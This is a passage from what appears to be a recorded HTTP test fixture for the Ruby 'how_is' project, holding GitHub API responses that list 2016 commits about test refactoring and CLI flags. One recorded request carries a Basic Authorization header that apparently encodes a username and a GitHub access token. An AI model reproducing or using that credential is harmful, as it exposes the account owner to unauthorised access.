nator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ce0eb4e2029ae7a44947ea7af391eab3acd70e5d","url":"https://api.github.com/repos/how-is/how_is/commits/ce0eb4e2029ae7a44947ea7af391eab3acd70e5d","html_url":"https://github.com/how-is/how_is/commit/ce0eb4e2029ae7a44947ea7af391eab3acd70e5d"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:47 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=9&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3336' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"18d701a865f2cdc38bd30f43ef454358" Last-Modified: - Mon, 24 Oct 2016 21:46:13 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 1140:50FA:2092CA:48BC16:5CC36AEF body: encoding: ASCII-8BIT string: '[{"sha":"de4098d619abc1c00062c9444ba8628e56a1e025","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGU0MDk4ZDYxOWFiYzFjMDAwNjJjOTQ0NGJhODYyOGU1NmExZTAyNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-24T21:46:13Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-24T21:46:13Z"},"message":"Merge pull request #67 from how-is/test-help-version\n\nAdd tests for --help, -h, --version, and -v.","tree":{"sha":"4f2aebb8085bc69d5508ba02ddd2b48432c8ba78","url":"https://api.github.com/repos/how-is/how_is/git/trees/4f2aebb8085bc69d5508ba02ddd2b48432c8ba78"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/de4098d619abc1c00062c9444ba8628e56a1e025","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/de4098d619abc1c00062c9444ba8628e56a1e025","html_url":"https://github.com/how-is/how_is/commit/de4098d619abc1c00062c9444ba8628e56a1e025","comments_url":"https://api.github.com/repos/how-is/how_is/commits/de4098d619abc1c00062c9444ba8628e56a1e025/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"76310a075265f4ad41c94c32c3aa10c312844285","url":"https://api.github.com/repos/how-is/how_is/commits/76310a075265f4ad41c94c32c3aa10c312844285","html_url":"https://github.com/how-is/how_is/commit/76310a075265f4ad41c94c32c3aa10c312844285"},{"sha":"cd33fe373a668389c732fd12695b266e4aa0ed41","url":"https://api.github.com/repos/how-is/how_is/commits/cd33fe373a668389c732fd12695b266e4aa0ed41","html_url":"https://github.com/how-is/how_is/commit/cd33fe373a668389c732fd12695b266e4aa0ed41"}]},{"sha":"cd33fe373a668389c732fd12695b266e4aa0ed41","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2QzM2ZlMzczYTY2ODM4OWM3MzJmZDEyNjk1YjI2NmU0YWEwZWQ0MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-24T21:04:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-24T21:04:21Z"},"message":"Add tests for --help, -h, --version, and -v.","tree":{"sha":"4f2aebb8085bc69d5508ba02ddd2b48432c8ba78","url":"https://api.github.com/repos/how-is/how_is/git/trees/4f2aebb8085bc69d5508ba02ddd2b48432c8ba78"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cd33fe373a668389c732fd12695b266e4aa0ed41","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cd33fe373a668389c732fd12695b266e4aa0ed41","html_url":"https://github.com/how-is/how_is/commit/cd33fe373a668389c732fd12695b266e4aa0ed41","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cd33fe373a668389c732fd12695b266e4aa0ed41/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"76310a075265f4ad41c94c32c3aa10c312844285","url":"https://api.github.com/repos/how-is/how_is/commits/76310a075265f4ad41c94c32c3aa10c312844285","html_url":"https://github.com/how-is/how_is/commit/76310a075265f4ad41c94c32c3aa10c312844285"}]},{"sha":"76310a075265f4ad41c94c32c3aa10c312844285","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzYzMTBhMDc1MjY1ZjRhZDQxYzk0YzMyYzNhYTEwYzMxMjg0NDI4NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:33:00Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-12T06:33:00Z"},"message":"Merge pull request #66 from how-is/test-refactoring\n\nTest refactoring","tree":{"sha":"16d6970346fe5eb92d861d5be219dfd8368c195d","url":"https://api.github.com/repos/how-is/how_is/git/trees/16d6970346fe5eb92d861d5be219dfd8368c195d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/76310a075265f4ad41c94c32c3aa10c312844285","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/76310a075265f4ad41c94c32c3aa10c312844285","html_url":"https://github.com/how-is/how_is/commit/76310a075265f4ad41c94c32c3aa10c312844285","comments_url":"https://api.github.com/repos/how-is/how_is/commits/76310a075265f4ad41c94c32c3aa10c312844285/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2d62b5ea0782dd83c32cdc905522734f5ee43fe1","url":"https://api.github.com/repos/how-is/how_is/commits/2d62b5ea0782dd83c32cdc905522734f5ee43fe1","html_url":"https://github.com/how-is/how_is/commit/2d62b5ea0782dd83c32cdc905522734f5ee43fe1"},{"sha":"ce0eb4e2029ae7a44947ea7af391eab3acd70e5d","url":"https://api.github.com/repos/how-is/how_is/commits/ce0eb4e2029ae7a44947ea7af391eab3acd70e5d","html_url":"https://github.com/how-is/how_is/commit/ce0eb4e2029ae7a44947ea7af391eab3acd70e5d"}]},{"sha":"ce0eb4e2029ae7a44947ea7af391eab3acd70e5d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2UwZWI0ZTIwMjlhZTdhNDQ5NDdlYTdhZjM5MWVhYjNhY2Q3MGU1ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:30:13Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:30:13Z"},"message":"Clean up.","tree":{"sha":"16d6970346fe5eb92d861d5be219dfd8368c195d","url":"https://api.github.com/repos/how-is/how_is/git/trees/16d6970346fe5eb92d861d5be219dfd8368c195d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ce0eb4e2029ae7a44947ea7af391eab3acd70e5d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ce0eb4e2029ae7a44947ea7af391eab3acd70e5d","html_url":"https://github.com/how-is/how_is/commit/ce0eb4e2029ae7a44947ea7af391eab3acd70e5d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ce0eb4e2029ae7a44947ea7af391eab3acd70e5d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e07a47393176da003d2e68e3aed6604650902e2","url":"https://api.github.com/repos/how-is/how_is/commits/6e07a47393176da003d2e68e3aed6604650902e2","html_url":"https://github.com/how-is/how_is/commit/6e07a47393176da003d2e68e3aed6604650902e2"}]},{"sha":"6e07a47393176da003d2e68e3aed6604650902e2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmUwN2E0NzM5MzE3NmRhMDAzZDJlNjhlM2FlZDY2MDQ2NTA5MDJlMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:26:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-12T06:26:21Z"},"message":"Move \"integration\" tests to how_is_spec.rb.","tree":{"sha":"9c97f5b302410183e5c8cf5a0b87c71e7f0d30e1","url":"https://api.github.com/repos/how-is/how_is/git/trees/9c97f5b302410183e5c8cf5a0b87c71e7f0d30e1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6e07a47393176da003d2e68e3aed6604650902e2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6e07a47393176da003d2e68e3aed6604650902e2","html_url":"https://github.com/how-is/how_is/commit/6e07a47393176da003d2e68e3aed6604650902e2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6e07a47393176da003d2e68e3aed6604650902e2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"63c28e045eb6a69af4d7a5d1f7ddbbbd1f6669ce","url":"https://api.github.com/repos/how-is/how_is/commits/63c28e045eb6a69af4d7a5d1f7ddbbbd1f6669ce","html_url":"https://github.com/how-is/how_is/commit/63c28e045eb6a69af4d7a5d1f7ddbbbd1f6669ce"}]},{"sha":"63c28e045eb6a69af4d7a5d1f7ddbbbd1f6669ce","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjNjMjhlMDQ1ZWI2YTY5YWY0ZDdhNWQxZjdkZGJiYmQxZjY2NjljZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:22:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:22:27Z"},"message":"Merge branch ''pulse-handle-no-changes'' of github.com:how-is/how_is into test-refactoring","tree":{"sha":"19330e9184d4673583bc6fa38ce43411328a41d1","url":"https://api.github.com/repos/how-is/how_is/git/trees/19330e9184d4673583bc6fa38ce43411328a41d1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/63c28e045eb6a69af4d7a5d1f7ddbbbd1f6669ce","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/63c28e045eb6a69af4d7a5d1f7ddbbbd1f6669ce","html_url":"https://github.com/how-is/how_is/commit/63c28e045eb6a69af4d7a5d1f7ddbbbd1f6669ce","comments_url":"https://api.github.com/repos/how-is/how_is/commits/63c28e045eb6a69af4d7a5d1f7ddbbbd1f6669ce/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"cc7814b36b973097909785cec8e207f2bf441267","url":"https://api.github.com/repos/how-is/how_is/commits/cc7814b36b973097909785cec8e207f2bf441267","html_url":"https://github.com/how-is/how_is/commit/cc7814b36b973097909785cec8e207f2bf441267"},{"sha":"a1694b66a9310a23aeb96e6bba54152bf3763b21","url":"https://api.github.com/repos/how-is/how_is/commits/a1694b66a9310a23aeb96e6bba54152bf3763b21","html_url":"https://github.com/how-is/how_is/commit/a1694b66a9310a23aeb96e6bba54152bf3763b21"}]},{"sha":"cc7814b36b973097909785cec8e207f2bf441267","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2M3ODE0YjM2Yjk3MzA5NzkwOTc4NWNlYzhlMjA3ZjJiZjQ0MTI2Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:12:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:12:06Z"},"message":"Rework integration tests.\n\nThey''re no longer integration tests, despite covering nearly the entire\nscope the integration tests did.\n\nWill be moved out of spec/integration in a subsequent commit.","tree":{"sha":"a644a39a1fd50fc139f5586c0e09b4b1c62a9946","url":"https://api.github.com/repos/how-is/how_is/git/trees/a644a39a1fd50fc139f5586c0e09b4b1c62a9946"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cc7814b36b973097909785cec8e207f2bf441267","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cc7814b36b973097909785cec8e207f2bf441267","html_url":"https://github.com/how-is/how_is/commit/cc7814b36b973097909785cec8e207f2bf441267","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cc7814b36b973097909785cec8e207f2bf441267/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2d62b5ea0782dd83c32cdc905522734f5ee43fe1","url":"https://api.github.com/repos/how-is/how_is/commits/2d62b5ea0782dd83c32cdc905522734f5ee43fe1","html_url":"https://github.com/how-is/how_is/commit/2d62b5ea0782dd83c32cdc905522734f5ee43fe1"}]},{"sha":"a1694b66a9310a23aeb96e6bba54152bf3763b21","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTE2OTRiNjZhOTMxMGEyM2FlYjk2ZTZiYmE1NDE1MmJmMzc2M2IyMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:11:11Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-12T06:11:11Z"},"message":"Handle Pulse returning no information.","tree":{"sha":"6107d0fecc3ffecf97f9c6a29523db7e4c2b20cb","url":"https://api.github.com/repos/how-is/how_is/git/trees/6107d0fecc3ffecf97f9c6a29523db7e4c2b20cb"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a1694b66a9310a23aeb96e6bba54152bf3763b21","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a1694b66a9310a23aeb96e6bba54152bf3763b21","html_url":"https://github.com/how-is/how_is/commit/a1694b66a9310a23aeb96e6bba54152bf3763b21","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a1694b66a9310a23aeb96e6bba54152bf3763b21/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2d62b5ea0782dd83c32cdc905522734f5ee43fe1","url":"https://api.github.com/repos/how-is/how_is/commits/2d62b5ea0782dd83c32cdc905522734f5ee43fe1","html_url":"https://github.com/how-is/how_is/commit/2d62b5ea0782dd83c32cdc905522734f5ee43fe1"}]},{"sha":"2d62b5ea0782dd83c32cdc905522734f5ee43fe1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmQ2MmI1ZWEwNzgyZGQ4M2MzMmNkYzkwNTUyMjczNGY1ZWU0M2ZlMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:48:41Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-06T02:48:41Z"},"message":"Merge pull request #65 from how-is/issue-49\n\nHandle singular/plural PRs and issues correctly.","tree":{"sha":"f7039e2adb7986eadf8e0772423429b4e60170ff","url":"https://api.github.com/repos/how-is/how_is/git/trees/f7039e2adb7986eadf8e0772423429b4e60170ff"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2d62b5ea0782dd83c32cdc905522734f5ee43fe1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2d62b5ea0782dd83c32cdc905522734f5ee43fe1","html_url":"https://github.com/how-is/how_is/commit/2d62b5ea0782dd83c32cdc905522734f5ee43fe1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2d62b5ea0782dd83c32cdc905522734f5ee43fe1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/even